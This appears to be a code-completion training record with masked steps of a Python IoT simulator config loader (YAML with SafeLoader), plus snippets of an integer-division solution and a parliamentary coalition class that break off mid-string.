<|reserved_special_token_0|> def inventory(component, component_type): try: component_inventory = _inventory[component] except KeyError: raise ValueError('Illegal assembly component: {}'.format(component)) try: component_class = component_inventory[component_type] except KeyError: raise ValueError('{} type `{}` is not listed in the inventory'. format(component, component_type)) return component_class def from_config(config): try: config.items() except AttributeError: with open(str(config), 'r') as f: config = yaml.load(f, Loader=yaml.SafeLoader) return _from_config(config) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def inventory(component, component_type): try: component_inventory = _inventory[component] except KeyError: raise ValueError('Illegal assembly component: {}'.format(component)) try: component_class = component_inventory[component_type] except KeyError: raise ValueError('{} type `{}` is not listed in the inventory'. format(component, component_type)) return component_class def from_config(config): try: config.items() except AttributeError: with open(str(config), 'r') as f: config = yaml.load(f, Loader=yaml.SafeLoader) return _from_config(config) def _from_config(config): try: config.items() except: raise TypeError('Consfis must be a disctionary. Got {}'.format(type (config))) if not 'assembly' in config: raise KeyError("Config is missing mandatory key 'assembly'") if not 'type' in config['assembly']: raise KeyError("Assembly definition is missing mandatory key 'type'") constructor = inventory('assembly', config['assembly']['type']) assembly_params = config['assembly'].get('parameters', dict()) assembly_template = constructor(**assembly_params) readers_definitions = config.get('readers', list()) readers = dict() for reader_definition in readers_definitions: try: reader_type = reader_definition.pop('type') except KeyError: raise KeyError("Reader definition is missing mandatory key 'type'") try: reader_label = reader_definition.pop('label') except KeyError: raise KeyError("Reader definition is missing mandatory key 'label'" ) reader_parameters = reader_definition.get('parameters', dict()) reader_class = inventory('reader', reader_type) readers[reader_label] = reader_class(**reader_parameters) assembly_readers = config['assembly'].get('readers', dict()) for signal_name, reader_label in assembly_readers.items(): try: reader = readers[reader_label] except KeyError: raise KeyError("Undefined reader label '{}' in aseembly definition" .format(reader_label)) if signal_name == 'default': assembly_template.attach_reader(reader) else: assembly_template.attach_reader(reader, signal_name) networks_definitions = config.get('networks', list()) networks = dict() for network_definition in networks_definitions: try: network_type = network_definition.pop('type') except KeyError: raise KeyError("network definition is missing mandatory key 'type'" ) try: network_label = network_definition.pop('label') except KeyError: raise KeyError( "network definition is missing mandatory key 'label'") network_parameters = network_definition.get('parameters', dict()) network_class = inventory('network', network_type) networks[network_label] = network_class(**network_parameters) assembly_networks = config['assembly'].get('networks', dict()) for signal_name, network_label in assembly_networks.items(): try: network = networks[network_label] except KeyError: raise KeyError( "Undefined network label '{}' in aseembly definition". format(network_label)) if signal_name == 'default': assembly_template.attach_network(network) else: assembly_template.attach_network(network, signal_name) assembly = assembly_template() return assembly <|reserved_special_token_1|> <|reserved_special_token_0|> _inventory = dict(assembly=dict(Flatline=contructors.Flatline, Seasaw= contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator= contructors.SimpleActuator), reader=dict(PassThrough=readers. PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers. OnChangeReader), network=dict(Ideal=networks.IdealNetwork, Normal= networks.NormalNetwork)) def inventory(component, component_type): try: component_inventory = _inventory[component] except KeyError: raise ValueError('Illegal assembly component: {}'.format(component)) try: component_class = component_inventory[component_type] except KeyError: raise ValueError('{} type `{}` is not listed in the inventory'. format(component, component_type)) return component_class def from_config(config): try: config.items() except AttributeError: with open(str(config), 'r') as f: config = yaml.load(f, Loader=yaml.SafeLoader) return _from_config(config) def _from_config(config): try: config.items() except: raise TypeError('Consfis must be a disctionary. Got {}'.format(type (config))) if not 'assembly' in config: raise KeyError("Config is missing mandatory key 'assembly'") if not 'type' in config['assembly']: raise KeyError("Assembly definition is missing mandatory key 'type'") constructor = inventory('assembly', config['assembly']['type']) assembly_params = config['assembly'].get('parameters', dict()) assembly_template = constructor(**assembly_params) readers_definitions = config.get('readers', list()) readers = dict() for reader_definition in readers_definitions: try: reader_type = reader_definition.pop('type') except KeyError: raise KeyError("Reader definition is missing mandatory key 'type'") try: reader_label = reader_definition.pop('label') except KeyError: raise KeyError("Reader definition is missing mandatory key 'label'" ) reader_parameters = reader_definition.get('parameters', dict()) reader_class = inventory('reader', reader_type) readers[reader_label] = reader_class(**reader_parameters) assembly_readers = config['assembly'].get('readers', dict()) for signal_name, reader_label in assembly_readers.items(): try: reader = readers[reader_label] except KeyError: raise KeyError("Undefined reader label '{}' in aseembly definition" .format(reader_label)) if signal_name == 'default': assembly_template.attach_reader(reader) else: assembly_template.attach_reader(reader, signal_name) networks_definitions = config.get('networks', list()) networks = dict() for network_definition in networks_definitions: try: network_type = network_definition.pop('type') except KeyError: raise KeyError("network definition is missing mandatory key 'type'" ) try: network_label = network_definition.pop('label') except KeyError: raise KeyError( "network definition is missing mandatory key 'label'") network_parameters = network_definition.get('parameters', dict()) network_class = inventory('network', network_type) networks[network_label] = network_class(**network_parameters) assembly_networks = config['assembly'].get('networks', dict()) for signal_name, network_label in assembly_networks.items(): try: network = networks[network_label] except KeyError: raise KeyError( "Undefined network label '{}' in aseembly definition". format(network_label)) if signal_name == 'default': assembly_template.attach_network(network) else: assembly_template.attach_network(network, signal_name) assembly = assembly_template() return assembly <|reserved_special_token_1|> import iotsim.readers as readers import iotsim.networks as networks import iotsim.constructors as contructors import yaml _inventory = dict(assembly=dict(Flatline=contructors.Flatline, Seasaw= contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator= contructors.SimpleActuator), reader=dict(PassThrough=readers. PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers. OnChangeReader), network=dict(Ideal=networks.IdealNetwork, Normal= networks.NormalNetwork)) def inventory(component, component_type): try: component_inventory = _inventory[component] except KeyError: raise ValueError('Illegal assembly component: {}'.format(component)) try: component_class = component_inventory[component_type] except KeyError: raise ValueError('{} type `{}` is not listed in the inventory'. format(component, component_type)) return component_class def from_config(config): try: config.items() except AttributeError: with open(str(config), 'r') as f: config = yaml.load(f, Loader=yaml.SafeLoader) return _from_config(config) def _from_config(config): try: config.items() except: raise TypeError('Consfis must be a disctionary. Got {}'.format(type (config))) if not 'assembly' in config: raise KeyError("Config is missing mandatory key 'assembly'") if not 'type' in config['assembly']: raise KeyError("Assembly definition is missing mandatory key 'type'") constructor = inventory('assembly', config['assembly']['type']) assembly_params = config['assembly'].get('parameters', dict()) assembly_template = constructor(**assembly_params) readers_definitions = config.get('readers', list()) readers = dict() for reader_definition in readers_definitions: try: reader_type = reader_definition.pop('type') except KeyError: raise KeyError("Reader definition is missing mandatory key 'type'") try: reader_label = reader_definition.pop('label') except KeyError: raise KeyError("Reader definition is missing mandatory key 'label'" ) reader_parameters = reader_definition.get('parameters', dict()) reader_class = inventory('reader', reader_type) readers[reader_label] = reader_class(**reader_parameters) assembly_readers = config['assembly'].get('readers', dict()) for signal_name, reader_label in assembly_readers.items(): try: reader = readers[reader_label] except KeyError: raise KeyError("Undefined reader label '{}' in aseembly definition" .format(reader_label)) if signal_name == 'default': assembly_template.attach_reader(reader) else: assembly_template.attach_reader(reader, signal_name) networks_definitions = config.get('networks', list()) networks = dict() for network_definition in networks_definitions: try: network_type = network_definition.pop('type') except KeyError: raise KeyError("network definition is missing mandatory key 'type'" ) try: network_label = network_definition.pop('label') except KeyError: raise KeyError( "network definition is missing mandatory key 'label'") network_parameters = network_definition.get('parameters', dict()) network_class = inventory('network', network_type) networks[network_label] = network_class(**network_parameters) assembly_networks = config['assembly'].get('networks', dict()) for signal_name, network_label in assembly_networks.items(): try: network = networks[network_label] except KeyError: raise KeyError( "Undefined network label '{}' in aseembly definition". format(network_label)) if signal_name == 'default': assembly_template.attach_network(network) else: assembly_template.attach_network(network, signal_name) assembly = assembly_template() return assembly <|reserved_special_token_1|> import iotsim.readers as readers import iotsim.networks as networks import iotsim.constructors as contructors import yaml _inventory = dict( assembly=dict( Flatline=contructors.Flatline, Seasaw=contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator=contructors.SimpleActuator, ), reader=dict( PassThrough=readers.PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers.OnChangeReader, ), network = dict( Ideal = networks.IdealNetwork, Normal = networks.NormalNetwork, ), ) def inventory(component, component_type): try: component_inventory = _inventory[component] except KeyError: raise ValueError("Illegal assembly component: {}".format(component)) try: component_class = component_inventory[component_type] except KeyError: raise ValueError("{} type `{}` is not listed in the inventory". format(component, component_type)) return component_class def from_config(config): try: config.items() except AttributeError: with open(str(config), 'r') as f: config = yaml.load(f, Loader=yaml.SafeLoader) return _from_config(config) def _from_config(config): try: config.items() except: raise TypeError("Consfis must be a disctionary. Got {}".format(type(config))) if not 'assembly' in config: raise KeyError("Config is missing mandatory key 'assembly'") if not 'type' in config['assembly']: raise KeyError("Assembly definition is missing mandatory key 'type'") constructor = inventory('assembly', config['assembly']['type']) assembly_params = config['assembly'].get('parameters', dict()) assembly_template = constructor(**assembly_params) readers_definitions = config.get('readers', list()) readers = dict() for reader_definition in readers_definitions: try: reader_type = reader_definition.pop('type') except KeyError: raise KeyError("Reader definition is missing mandatory key 'type'") try: reader_label = reader_definition.pop('label') except KeyError: raise KeyError("Reader definition is missing mandatory key 'label'") reader_parameters = reader_definition.get('parameters', dict()) reader_class = inventory('reader', reader_type) readers[reader_label] = reader_class(**reader_parameters) assembly_readers = config['assembly'].get('readers', dict()) for signal_name, reader_label in assembly_readers.items(): try: reader = readers[reader_label] except KeyError: raise KeyError("Undefined reader label '{}' in aseembly definition". format(reader_label)) if signal_name == 'default': assembly_template.attach_reader(reader) else: assembly_template.attach_reader(reader, signal_name) networks_definitions = config.get('networks', list()) networks = dict() for network_definition in networks_definitions: try: network_type = network_definition.pop('type') except KeyError: raise KeyError("network definition is missing mandatory key 'type'") try: network_label = network_definition.pop('label') except KeyError: raise KeyError("network definition is missing mandatory key 'label'") network_parameters = network_definition.get('parameters', dict()) network_class = inventory('network', network_type) networks[network_label] = network_class(**network_parameters) assembly_networks = config['assembly'].get('networks', dict()) for signal_name, network_label in assembly_networks.items(): try: network = networks[network_label] except KeyError: raise KeyError("Undefined network label '{}' in aseembly definition". format(network_label)) if signal_name == 'default': assembly_template.attach_network(network) else: assembly_template.attach_network(network, signal_name) assembly = assembly_template() return assembly
flexible
{ "blob_id": "1450d3b8cc4cef1c5f802e4d84e2211b7467fe12", "index": 2212, "step-1": "<mask token>\n\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError('Illegal assembly component: {}'.format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError('{} type `{}` is not listed in the inventory'.\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n return _from_config(config)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError('Illegal assembly component: {}'.format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError('{} type `{}` is not listed in the inventory'.\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n return _from_config(config)\n\n\ndef _from_config(config):\n try:\n config.items()\n except:\n raise TypeError('Consfis must be a disctionary. Got {}'.format(type\n (config)))\n if not 'assembly' in config:\n raise KeyError(\"Config is missing mandatory key 'assembly'\")\n if not 'type' in config['assembly']:\n raise KeyError(\"Assembly definition is missing mandatory key 'type'\")\n constructor = inventory('assembly', config['assembly']['type'])\n assembly_params = config['assembly'].get('parameters', dict())\n assembly_template = constructor(**assembly_params)\n readers_definitions = config.get('readers', list())\n readers = dict()\n for reader_definition in readers_definitions:\n try:\n reader_type = reader_definition.pop('type')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'type'\")\n try:\n reader_label = reader_definition.pop('label')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'label'\"\n )\n reader_parameters = reader_definition.get('parameters', dict())\n reader_class = inventory('reader', reader_type)\n readers[reader_label] = reader_class(**reader_parameters)\n assembly_readers = config['assembly'].get('readers', dict())\n for signal_name, reader_label in assembly_readers.items():\n try:\n reader = readers[reader_label]\n except KeyError:\n raise KeyError(\"Undefined reader label '{}' in aseembly definition\"\n .format(reader_label))\n if signal_name == 'default':\n assembly_template.attach_reader(reader)\n else:\n assembly_template.attach_reader(reader, signal_name)\n networks_definitions = config.get('networks', list())\n networks = dict()\n for network_definition in networks_definitions:\n try:\n network_type = network_definition.pop('type')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'type'\"\n )\n try:\n network_label = network_definition.pop('label')\n except KeyError:\n raise KeyError(\n \"network definition is missing mandatory key 'label'\")\n network_parameters = network_definition.get('parameters', dict())\n network_class = inventory('network', network_type)\n networks[network_label] = network_class(**network_parameters)\n assembly_networks = config['assembly'].get('networks', dict())\n for signal_name, network_label in assembly_networks.items():\n try:\n network = networks[network_label]\n except KeyError:\n raise KeyError(\n \"Undefined network label '{}' in aseembly definition\".\n format(network_label))\n if signal_name == 'default':\n assembly_template.attach_network(network)\n else:\n assembly_template.attach_network(network, signal_name)\n assembly = assembly_template()\n return assembly\n", "step-3": "<mask token>\n_inventory = dict(assembly=dict(Flatline=contructors.Flatline, Seasaw=\n contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator=\n contructors.SimpleActuator), reader=dict(PassThrough=readers.\n PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers.\n OnChangeReader), network=dict(Ideal=networks.IdealNetwork, Normal=\n networks.NormalNetwork))\n\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError('Illegal assembly component: {}'.format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError('{} type `{}` is not listed in the inventory'.\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n return _from_config(config)\n\n\ndef _from_config(config):\n try:\n config.items()\n except:\n raise TypeError('Consfis must be a disctionary. Got {}'.format(type\n (config)))\n if not 'assembly' in config:\n raise KeyError(\"Config is missing mandatory key 'assembly'\")\n if not 'type' in config['assembly']:\n raise KeyError(\"Assembly definition is missing mandatory key 'type'\")\n constructor = inventory('assembly', config['assembly']['type'])\n assembly_params = config['assembly'].get('parameters', dict())\n assembly_template = constructor(**assembly_params)\n readers_definitions = config.get('readers', list())\n readers = dict()\n for reader_definition in readers_definitions:\n try:\n reader_type = reader_definition.pop('type')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'type'\")\n try:\n reader_label = reader_definition.pop('label')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'label'\"\n )\n reader_parameters = reader_definition.get('parameters', dict())\n reader_class = inventory('reader', reader_type)\n readers[reader_label] = reader_class(**reader_parameters)\n assembly_readers = config['assembly'].get('readers', dict())\n for signal_name, reader_label in assembly_readers.items():\n try:\n reader = readers[reader_label]\n except KeyError:\n raise KeyError(\"Undefined reader label '{}' in aseembly definition\"\n .format(reader_label))\n if signal_name == 'default':\n assembly_template.attach_reader(reader)\n else:\n assembly_template.attach_reader(reader, signal_name)\n networks_definitions = config.get('networks', list())\n networks = dict()\n for network_definition in networks_definitions:\n try:\n network_type = network_definition.pop('type')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'type'\"\n )\n try:\n network_label = network_definition.pop('label')\n except KeyError:\n raise KeyError(\n \"network definition is missing mandatory key 'label'\")\n network_parameters = network_definition.get('parameters', dict())\n network_class = inventory('network', network_type)\n networks[network_label] = network_class(**network_parameters)\n assembly_networks = config['assembly'].get('networks', dict())\n for signal_name, network_label in assembly_networks.items():\n try:\n network = networks[network_label]\n except KeyError:\n raise KeyError(\n \"Undefined network label '{}' in aseembly definition\".\n format(network_label))\n if signal_name == 'default':\n assembly_template.attach_network(network)\n else:\n assembly_template.attach_network(network, signal_name)\n assembly = assembly_template()\n return assembly\n", "step-4": "import iotsim.readers as readers\nimport iotsim.networks as networks\nimport iotsim.constructors as contructors\nimport yaml\n_inventory = dict(assembly=dict(Flatline=contructors.Flatline, Seasaw=\n contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator=\n contructors.SimpleActuator), reader=dict(PassThrough=readers.\n PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers.\n OnChangeReader), network=dict(Ideal=networks.IdealNetwork, Normal=\n networks.NormalNetwork))\n\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError('Illegal assembly component: {}'.format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError('{} type `{}` is not listed in the inventory'.\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n return _from_config(config)\n\n\ndef _from_config(config):\n try:\n config.items()\n except:\n raise TypeError('Consfis must be a disctionary. Got {}'.format(type\n (config)))\n if not 'assembly' in config:\n raise KeyError(\"Config is missing mandatory key 'assembly'\")\n if not 'type' in config['assembly']:\n raise KeyError(\"Assembly definition is missing mandatory key 'type'\")\n constructor = inventory('assembly', config['assembly']['type'])\n assembly_params = config['assembly'].get('parameters', dict())\n assembly_template = constructor(**assembly_params)\n readers_definitions = config.get('readers', list())\n readers = dict()\n for reader_definition in readers_definitions:\n try:\n reader_type = reader_definition.pop('type')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'type'\")\n try:\n reader_label = reader_definition.pop('label')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'label'\"\n )\n reader_parameters = reader_definition.get('parameters', dict())\n reader_class = inventory('reader', reader_type)\n readers[reader_label] = reader_class(**reader_parameters)\n assembly_readers = config['assembly'].get('readers', dict())\n for signal_name, reader_label in assembly_readers.items():\n try:\n reader = readers[reader_label]\n except KeyError:\n raise KeyError(\"Undefined reader label '{}' in aseembly definition\"\n .format(reader_label))\n if signal_name == 'default':\n assembly_template.attach_reader(reader)\n else:\n assembly_template.attach_reader(reader, signal_name)\n networks_definitions = config.get('networks', list())\n networks = dict()\n for network_definition in networks_definitions:\n try:\n network_type = network_definition.pop('type')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'type'\"\n )\n try:\n network_label = network_definition.pop('label')\n except KeyError:\n raise KeyError(\n \"network definition is missing mandatory key 'label'\")\n network_parameters = network_definition.get('parameters', dict())\n network_class = inventory('network', network_type)\n networks[network_label] = network_class(**network_parameters)\n assembly_networks = config['assembly'].get('networks', dict())\n for signal_name, network_label in assembly_networks.items():\n try:\n network = networks[network_label]\n except KeyError:\n raise KeyError(\n \"Undefined network label '{}' in aseembly definition\".\n format(network_label))\n if signal_name == 'default':\n assembly_template.attach_network(network)\n else:\n assembly_template.attach_network(network, signal_name)\n assembly = assembly_template()\n return assembly\n", "step-5": "import iotsim.readers as readers\nimport iotsim.networks as networks\nimport iotsim.constructors as contructors\n\nimport yaml\n\n\n_inventory = dict(\n\n assembly=dict(\n Flatline=contructors.Flatline,\n Seasaw=contructors.Seesaw,\n Pulser=contructors.Pulser,\n SimpleActuator=contructors.SimpleActuator,\n ),\n\n reader=dict(\n PassThrough=readers.PassthroughReader,\n EveryNth=readers.EveryNthReader,\n OnChange=readers.OnChangeReader,\n ),\n\n network = dict(\n Ideal = networks.IdealNetwork,\n Normal = networks.NormalNetwork,\n ),\n)\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError(\"Illegal assembly component: {}\".format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError(\"{} type `{}` is not listed in the inventory\".\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n\n return _from_config(config)\n\ndef _from_config(config):\n\n try:\n config.items()\n except:\n raise TypeError(\"Consfis must be a disctionary. Got {}\".format(type(config)))\n if not 'assembly' in config:\n raise KeyError(\"Config is missing mandatory key 'assembly'\")\n if not 'type' in config['assembly']:\n raise KeyError(\"Assembly definition is missing mandatory key 'type'\")\n\n constructor = inventory('assembly', config['assembly']['type'])\n assembly_params = config['assembly'].get('parameters', dict())\n assembly_template = constructor(**assembly_params)\n\n readers_definitions = config.get('readers', list())\n readers = dict()\n for reader_definition in readers_definitions:\n try:\n reader_type = reader_definition.pop('type')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'type'\")\n try:\n reader_label = reader_definition.pop('label')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'label'\")\n reader_parameters = reader_definition.get('parameters', dict())\n reader_class = inventory('reader', reader_type)\n readers[reader_label] = reader_class(**reader_parameters)\n\n assembly_readers = config['assembly'].get('readers', dict())\n for signal_name, reader_label in assembly_readers.items():\n try:\n reader = readers[reader_label]\n except KeyError:\n raise KeyError(\"Undefined reader label '{}' in aseembly definition\".\n format(reader_label))\n if signal_name == 'default':\n assembly_template.attach_reader(reader)\n else:\n assembly_template.attach_reader(reader, signal_name)\n\n networks_definitions = config.get('networks', list())\n networks = dict()\n for network_definition in networks_definitions:\n try:\n network_type = network_definition.pop('type')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'type'\")\n try:\n network_label = network_definition.pop('label')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'label'\")\n network_parameters = network_definition.get('parameters', dict())\n network_class = inventory('network', network_type)\n networks[network_label] = network_class(**network_parameters)\n\n assembly_networks = config['assembly'].get('networks', dict())\n for signal_name, network_label in assembly_networks.items():\n try:\n network = networks[network_label]\n except KeyError:\n raise KeyError(\"Undefined network label '{}' in aseembly definition\".\n format(network_label))\n if signal_name == 'default':\n assembly_template.attach_network(network)\n else:\n assembly_template.attach_network(network, signal_name)\n\n assembly = assembly_template()\n return assembly\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
# MEDIUM # TLE if decrement divisor only # Bit manipulation. # input: 100 / 3 # times = 0 # 3 << 0 = 3 # 3 << 1 = 6 # 3 << 2 = 12 # 3 << 3 = 24 # 3 << 4 = 48 # 3 << 5 = 96 # 3 << 6 = 192 => greater than dividend 100 => stop here # times -=1 because 3 << 6 is too big # result += 1 << times => divided by 32 # set dividend to dividend -= divisor << times # times O(log N) Space O(1) class Solution: def divide(self, dividend: int, divisor: int) -> int: if dividend == -2**31 and divisor == -1: return 2**31-1 if dividend == 0: return 0 sign = dividend>=0 and divisor>=0 or (dividend<0 and divisor<0) left,right = abs(dividend),abs(divisor) result = 0 while left>= right: count = 0 while left >= right<< count: count += 1 #print('count',count) # count -1 because right * count > left result += 1 << (count-1) #print("result",result) left -= right << (count-1) #print("dividend",left) return result if sign else -result
normal
{ "blob_id": "d1864f454b1909196fd9a6e2279b23f4c4148917", "index": 7232, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n", "step-3": "class Solution:\n\n def divide(self, dividend: int, divisor: int) ->int:\n if dividend == -2 ** 31 and divisor == -1:\n return 2 ** 31 - 1\n if dividend == 0:\n return 0\n sign = dividend >= 0 and divisor >= 0 or dividend < 0 and divisor < 0\n left, right = abs(dividend), abs(divisor)\n result = 0\n while left >= right:\n count = 0\n while left >= right << count:\n count += 1\n result += 1 << count - 1\n left -= right << count - 1\n return result if sign else -result\n", "step-4": "# MEDIUM\n# TLE if decrement divisor only \n\n# Bit manipulation.\n# input: 100 / 3 \n\n# times = 0\n# 3 << 0 = 3\n# 3 << 1 = 6\n# 3 << 2 = 12\n# 3 << 3 = 24\n# 3 << 4 = 48\n# 3 << 5 = 96\n# 3 << 6 = 192 => greater than dividend 100 => stop here \n# times -=1 because 3 << 6 is too big \n# result += 1 << times => divided by 32 \n# set dividend to dividend -= divisor << times \n\n# times O(log N) Space O(1)\n\n\nclass Solution:\n def divide(self, dividend: int, divisor: int) -> int:\n if dividend == -2**31 and divisor == -1:\n return 2**31-1\n if dividend == 0:\n return 0\n sign = dividend>=0 and divisor>=0 or (dividend<0 and divisor<0)\n left,right = abs(dividend),abs(divisor)\n result = 0\n while left>= right:\n count = 0\n while left >= right<< count:\n \n count += 1\n \n #print('count',count)\n # count -1 because right * count > left\n result += 1 << (count-1)\n #print(\"result\",result)\n left -= right << (count-1)\n #print(\"dividend\",left)\n \n return result if sign else -result \n \n ", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class HoR(object): <|reserved_special_token_0|> def __init__(self, parties, name='HoR'): self.name = name self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p. votes), reverse=True)) self._party_mapping = {p.name: p for p in self._parties} def __getitem__(self, item): return self._party_mapping[item] @property def parties(self): return self._parties def seats_list(self): return [p.seats for p in self._parties] def votes_list(self): return [p.votes for p in self._parties] def names_list(self): return [p.name for p in self._parties] def vote_shares_list(self): v = self.votes return [(vi / v) for vi in self.votes_list()] def seat_shares_list(self): s = self.seats return [(si / s) for si in self.seats_list()] @property def seats(self): return sum(self.seats_list()) <|reserved_special_token_0|> def top(self, n=1): return Coalition(self, self._parties[:n]) def as_coalition(self): return Coalition(self, self._parties) def __contains__(self, item): return item in self._parties def __iter__(self): return iter(self._parties) def iter_coalitions(self): for n in range(1, len(self)): for coalition in itertools.combinations(self._parties, n): yield Coalition(self, coalition) def __len__(self): return len(self._parties) <|reserved_special_token_0|> def same_as(self, hor): return self.parties == hor.parties def __eq__(self, other): return self.seats == other.seats def __gt__(self, other): return self.seats > other.seats def __ge__(self, other): return self.seats >= other.seats def __le__(self, other): return self.seats <= other.seats def __lt__(self, other): return self.seats < other.seats <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class Coalition(HoR): def __init__(self, hor, parties, name='Coalition', *, _opposition=None): super().__init__(parties, name=name) self._hor = hor self._opposition = _opposition @property def opposition(self): if self._opposition is None: others = [p for p in self._hor if p not in self] self._opposition = Coalition(self._hor, others, _opposition=self) return self._opposition @property def hor(self): return self._hor def __add__(self, other): if isinstance(other, Party): if other in self: raise ValueError('{} is already present in HoR'.format(other)) new = self._parties + (other,) elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if intercept: raise ValueError('{} are already present in HoR'.format( intercept)) new = self._parties + tuple(other) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def __sub__(self, other): if isinstance(other, Party): if other not in self: raise ValueError('{} is not present in HoR'.format(other)) new = set(self._parties) - {other} elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if not intercept: raise ValueError('{} are not present in HoR'.format(intercept)) new = set(self._parties) - set(other.parties) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def has_key_party(self, party): if party not in self: return False else: opposition = self.opposition return self > opposition and self - party <= opposition + party def key_parties(self): return list(filter(self.has_key_party, self.parties)) def is_minimum_winning(self): return all(map(self.has_key_party, self.parties)) <|reserved_special_token_1|> <|reserved_special_token_0|> class HoR(object): <|reserved_special_token_0|> def __init__(self, parties, name='HoR'): self.name = name self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p. votes), reverse=True)) self._party_mapping = {p.name: p for p in self._parties} def __getitem__(self, item): return self._party_mapping[item] @property def parties(self): return self._parties def seats_list(self): return [p.seats for p in self._parties] def votes_list(self): return [p.votes for p in self._parties] def names_list(self): return [p.name for p in self._parties] def vote_shares_list(self): v = self.votes return [(vi / v) for vi in self.votes_list()] def seat_shares_list(self): s = self.seats return [(si / s) for si in self.seats_list()] @property def seats(self): return sum(self.seats_list()) <|reserved_special_token_0|> def top(self, n=1): return Coalition(self, self._parties[:n]) def as_coalition(self): return Coalition(self, self._parties) def __contains__(self, item): return item in self._parties def __iter__(self): return iter(self._parties) def iter_coalitions(self): for n in range(1, len(self)): for coalition in itertools.combinations(self._parties, n): yield Coalition(self, coalition) def __len__(self): return len(self._parties) def __hash__(self): return hash(self._parties) def same_as(self, hor): return self.parties == hor.parties def __eq__(self, other): return self.seats == other.seats def __gt__(self, other): return self.seats > other.seats def __ge__(self, other): return self.seats >= other.seats def __le__(self, other): return self.seats <= other.seats def __lt__(self, other): return self.seats < other.seats <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class Coalition(HoR): def __init__(self, hor, parties, name='Coalition', *, _opposition=None): super().__init__(parties, name=name) self._hor = hor self._opposition = _opposition @property def opposition(self): if self._opposition is None: others = [p for p in self._hor if p not in self] self._opposition = Coalition(self._hor, others, _opposition=self) return self._opposition @property def hor(self): return self._hor def __add__(self, other): if isinstance(other, Party): if other in self: raise ValueError('{} is already present in HoR'.format(other)) new = self._parties + (other,) elif isinstance(other, Coalition) and other.hor.same_as(self.hor): intercept = set(other) & set(self._parties) if intercept: raise ValueError('{} are already present in HoR'.format( intercept)) new = self._parties + tuple(other) else: raise TypeError('Wrong type for {}'.format(other)) return self.__class__(self.hor, new) def __sub__(self, other): if isinstance(other, Party): if other not in self: raise ValueError('{} is not present in 